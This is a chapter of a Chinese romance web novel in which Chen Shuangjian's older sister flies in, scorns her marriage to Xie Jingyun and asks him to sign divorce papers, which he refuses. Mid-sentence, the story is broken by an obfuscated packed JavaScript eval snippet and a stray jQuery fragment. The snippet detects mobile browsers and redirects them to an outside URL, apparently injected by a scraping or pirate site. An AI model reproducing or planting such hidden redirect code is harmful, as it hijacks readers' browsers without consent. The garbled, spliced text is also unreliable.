有关陈炽这个姐姐,陈霜见对她的态度一直是两极的。
两人差了四岁,隔开了一个很奇妙的年龄阶段。她长出第一颗牙时,姐姐已经在背乘法口诀了,而她收到人生中第一封情书时,姐姐已经连跳两级,提前被国外顶尖大学录取。
或许也正是因为这四岁的差距,在陈炽眼里,陈霜见好像一直都是需要被她多多关照的小朋友。
尤其是在母亲去世后,她悔恨自己前几年没有照顾好妹妹,一夜之间,就从一个无关紧要的态度到了无微不至地控制。
再后来,陈家天翻地覆,她逃跑似的离开漩涡中心来到大陆求学,姐姐起初是理解的,给了她还算安生的大学正好,但就在临近毕业的三个月,她突然被强硬勒令回去。
就连陈霜见自己也说不清楚当时的心情,她承认她是自私的,她不想让好不容易争取来的自由生活又被陈家、又被那位血缘上的父亲搅乱,所以在姐姐后来出差时,她做出了人生中最叛逆的选择——结婚。
感性和理性同时告诉她,谢景愠这个人出现得刚刚好。
他是一个无法指摘的联姻对象,出身名门,位高权重。所以陈家松口了,她如愿以偿地重新拿回了自由,但姐姐却无法接受这个结果。
在陈炽看来,这场婚姻是荒唐且荒谬的,她不认为一个利益至上的商人会照顾好妹妹,也不认为妹妹真的接受了那个只见过一面的人。
她无法将这些都告诉谢景愠,他还没重要到这个程度。
反正说与不说都不影响两家互惠互利的合作,那就干脆将这场交易性质的婚姻坐实些,不要随便交心出去。
而且指不定,这样浮于表面的夫妻关系更牢固呢。毕竟……谢景愠看起来就是会这样想的商人。
为了到机场接人,陈霜见特地请了一天假,上午一直在选见面的衣服,就连妆容都化了又卸来回三遍,一点不敢马虎。
她不希望在姐姐面前表现出一点不属于“陈家二小姐”的颓废,不然姐姐一定住抓住这个点,强行证明她还无法照顾好自己,然后把她带回去。
似乎真的拿出打配合的架势,谢景愠今天也没有去集团,几场会议都是在线上解决。
他们三点出头就抵达了机场。
而陈炽的飞机晚点,将近五点钟才接到人。
“姐姐!”一眼看到,陈霜见欢快地跑过去抱人:“我好想你呀!”
被她搂得没脾气,也不着急抽回手臂,陈炽从上到下的打量起来。
察觉到目光,陈霜见故意撩了把头发:“放心吧,我全乎着呢,每天都过得舒舒服服,一根头发丝都没少!”
“你最好是。”好算满意地轻哼,陈炽情绪不咸不淡。
一转头,她看到了谢景愠。
黑色风衣一丝不苟,面容清贵绝尘。平心而论,确实是一张很惹年轻女孩青睐的面孔。
有些无语地撇下了嘴角,陈炽冷嗖嗖道:“早就听过谢总不少事,今天得见真人,确实名不虚传。”
没想到这种夸奖的话居然是姐姐对谢景愠说的,陈霜见有些惊喜,以为有转机:“是嘛,那姐姐你听过他什么?”
陈炽笑眯眯:“很多啊,比如王氏破产、嘉美保险和隆华资本并购案,谢总厉害,担得起一句心机深沉,雷霆手段。”
陈霜见嘴角一抽:“……”
我就知道我还是太乐观!
反观被正面阴阳的谢景愠,稳重淡定,通身一派的沉金冷玉:“姐姐从港城来舟车劳顿,先上车吧,我安排了晚餐餐厅的位置。”
陈炽冷眼:“谢总还是叫我陈炽吧,你和粲粲还没有办婚礼,你这个妹夫我也还没承认,不着急改口。”
谢景愠依旧从容:“明白。”
从机场出来,陈霜见相当没底气,知道以姐姐的性格肯定是要炸到底,她不可能去拦,毕竟自己在泥菩萨过将,自身难保。
走着走着故意错开两步,陈霜见小幅度地去车身边人的袖口,表情窘迫:“我姐姐说话比较直,你别往心里去。”
谢景愠垂眸,目光不经意地扫过她捏着布料的指尖,柔嫩细巧,看着赏心悦目。
“你姐姐的话是有道理的,她很关心你,我也理解。”
心里好似无端被戳了下,弥漫着异样的感觉。陈霜见歪头,笑了下:“我还以为你会认可我的话,也觉得我姐姐很难搞呢?”
“她是这个世界上和你血缘关系最亲近的人,我和你喜结连理,总没有挑你亲人刺的道理。”谢景愠如是道,甚至有些不理解她为什么会那样想。
看出来他没懂,陈霜见也乐于不解释,笑意藏不住,心情也舒服不少。
晚餐的餐厅订在一家淮扬菜餐馆。
客流量不算高,但目光所及的装潢设计却相当有格调,很看得出老板的品味。
菜点完很快被端上,没吃几口,陈霜见预料之中的风暴来了。
话里话外都是对他的不满意,听得呛耳朵。
想到这场婚姻毕竟有自己的一半责任,她深呼吸,放下筷子把谢景愠先支出去,表示自己有话要和姐姐单独聊聊。
随着包厢的门刚关上,陈炽便没好气道:“陈霜见,你看看你现在的样子,我才说他没两句你就着急护上了?妈妈要是知道你跟她一样恋爱脑,大概会气火过来!”
“姐姐!”
陈霜见不知道该怎么讲才能把这段关系疏离清楚,耳边又是她提起的妈妈,又觉得自己怎么说都好像差一截。
“我不是护着他,只是觉得你没必要这样针对,我总是要为了陈家结婚联姻的,就算不是谢景愠也可能是张景愠、刘景愠,这没差别的。”
“如果真的没差别,你为什么不愿意回港城?这里到底有什么能留住你?”陈炽冷着脸,定定地看着她。
“不是北城能留住我,是港城真的留不住我了。”
自嘲地笑了下,陈霜见皱着眉头:“继续留在港城,我只能做任由陈家摆布的洋娃娃,我不要这样的生活。”
陈炽立刻道:“可是你还有我啊!我会照顾好你的!”
“这有区别的吗?”怎么都说不通,陈霜见彻底无力了:“被你照顾,和被陈家圈养,这我看来都一样,都是一种寄人篱下,不自由的人生。”
“就像我刚刚说的,跟谁联姻本质上都没差,没有爱只有利用,不是我嫁给谁,而是为了陈家。但至少,谢景愠是我自己选的。”
说完这些,她如释重负。
小口地抿了下面前的酒,陈霜见试图继续说服:“姐姐,你永远是我的姐姐,但我现在真的不打算回港城了。我在这里有学业,有工作,有龟缩在陈家永远不可能的新生活,你总不可能照顾我一辈子吧?”
说完,也顾不上看面前人的脸色,想着给她多一些考虑的时间,陈霜见借口去洗手间,打算偷溜五分钟。
但没想到刚走到门口,身后就又传来陈炽的声音:“粲粲,让谢景愠进来吧,我有话想单独和他说。”
以为是姐姐终于同意了,陈霜见忍住笑意,拉开门,转头就看到那人。
藏不住雀跃,她戳着他手臂,示意他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15873933|176205||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
进去:“感觉这顿饭吃得很值!”
没有第一时间应答,谢景愠颔首,算是对擅长爱自己好孩子的鼓励。
走进包厢里,他眼看着陈炽从随身手提包里取出一纸协议。
辨清上面的内容,谢景愠蹙眉,明显不悦。
陈炽开门见山:“谢先生,我希望你和粲粲离婚。”
“你不适合她,北城也不适合她,她应该回到港岛,如果可以,我希望你能劝她和我一起离开。”
与协议一起送到面前的还有一只钢笔,谢景愠轻哂:“你为什么认为我会答应?”
陈炽理所应当:“你和粲粲结婚只是为了陈家在港城的人脉与资源,我可以保证你们离婚后这些关系链不会受影响,你看重的利益只会得到更多。只要你愿意签字,还她自由。”
“抱歉,恕我拒绝。”
钢笔被整个卡上协议的顶端,谢景愠将协议书推回了陈炽面前。
仍是从容不迫的姿态,眉眼间尽是矜贵疏离。
“陈小姐,我知道你很爱你的妹妹,但我认为,陈霜见在作为你的妹妹之前,更是一个具有独立意义的人。”
“我没有替代决定甚至否定她人生选择的资格,我们都没有。她成为什么样的人、和什么样的人相处,只有她自己能决定。”
“她不是我的所有物,她有为人生做选择的自由意志,什么是她真正所需要的,她自己说的才算。”
“所以很抱歉,这份协议我签不了。”
嘴上说着“抱歉”,可表情间眼神里没有半分愧疚和歉意。
不卑不亢,清贵卓绝。
这是陈炽临走前,对谢景愠最大的印象。
因为当事人被突如其来的工作喊走,一顿精心准备的晚餐也吃成了不欢而散。
陈霜见踩着五厘米的小高跟走进来,手里不知道什么时候多了一瓶酒。
倚靠在墙壁前,她坏笑,晃了晃价格不菲的瓶身:“刚刚听这儿的老板说,这酒是你存的,我能喝嘛?”
谢景愠莞尔,让她先坐下,又安排服务生准备醒酒用的器具。
看着面前还没动几口的菜式,陈霜见单手托腮,佯装无意:“我姐姐刚才和你说什么了?”
谢景韫面不改色:“她说很想你,希望我照顾好你。”
“嘁,”陈霜见撇嘴:“这话你留着骗幼儿园小朋友吧,我可不信。”
谢景韫促狭一笑,没有再说什么。
默不作声地打量着他的五官,视线顺着锋利的眉滑下,很快就到了唇角。
几乎是下意识的反应,她又想起了那个晚上。
月光下,男人的面庞无比清晰,陡然拉近的距离,淡淡的香味萦绕在侧,是印象深刻的雪松木质调。
明明挑事儿的人是她,但先一步认怂的人还是她。
被他的话惊到,根本顾不上深思真假,陈霜见立刻低下头用手捂住谢景韫的下半张脸,迫使他不能继续靠近。
不想让他看到自己的窘迫与惊慌,最后只能冒出来一句“我好困,要回去睡觉”。
而今天,又是这样。
惹来她心口燥乱。
他和姐姐并不知道,他们在聊那份协议时,她站在门外都听到了。
失望是有的,原来她说了这么多姐姐还是不懂。
惊喜也是有的,因为他。
“谢景韫,我可以问你个问题吗?”盯着他醒酒的东西看了会儿,陈霜见突然开口。
谢景韫:“你说。”
“你……是不是喜欢我呀?”